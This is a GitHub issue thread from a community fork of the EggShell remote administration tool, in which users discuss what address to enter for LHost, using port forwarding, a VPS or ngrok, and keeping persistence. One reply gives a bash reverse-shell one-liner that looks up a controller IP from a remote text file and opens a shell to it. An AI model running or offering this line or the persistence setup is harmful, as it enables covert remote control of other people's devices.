search

rpwnage / EggShell-Community-Fork

Community fork of the eggshell iOS/macOS/Linux Remote Administration Tool
GNU General Public License v2.0
31 stars 6 forks source link

LHost parameter #14

Open AstroOrbis opened 3 years ago

AstroOrbis commented 3 years ago

What would I put in the LHost section? Anything with 192.168 is local, and sending this over to a device not connected to the same network as me would be useless... halp lmao

acheong08 commented 3 years ago

If you have port forwarding, put your public IP. If you're just pentesting at home, use your local ip. Else, you can also host a VPS and run eggshell there.

AstroOrbis commented 3 years ago

I'm stupid, wats a VPS... sry its late and I'm tired kek

acheong08 commented 3 years ago

Virtual private server. Offered by DigitalOcean and many more. It's a server with SSH access and a public facing IP. I own one on DigitalOcean to host my website, IRC, VPN, and DNS resolver. It's quite multi-purpose.

acheong08 commented 3 years ago

If you have a student email address, you can get up to $100 free credit on DigitalOcean for 12 months free by getting the Github Student Developer Pack.

rpwnage commented 3 years ago

Well, you could try ngork to allow connections outside of your local network. Didn't try it yet but it should work 🙂

AstroOrbis commented 3 years ago

So I put in the Ngrok address for the LHost?

acheong08 commented 3 years ago

That would also work. Tried it today. However, ngrok doesn't work with the persistence module (for obvious and unfixable reasons unless you pay for the premium).

AstroOrbis commented 3 years ago

What if there was a new persistence module that got the IP from a server that you run, then connects normally? And would port forwarding also work?

acheong08 commented 3 years ago

Yes. In bash, that would be: bash &> /dev/tcp/$(curl http://example.com/ip.txt)/4444 0>&1 Pastebin would be useful for this.

acheong08 commented 3 years ago

I'm not sure but if you have your own domain name, a CNAME record might work

acheong08 commented 3 years ago

I am currently using a server with wireguard and port forwarding for getting reverse connections Would have to edit the persistence .plist to do that though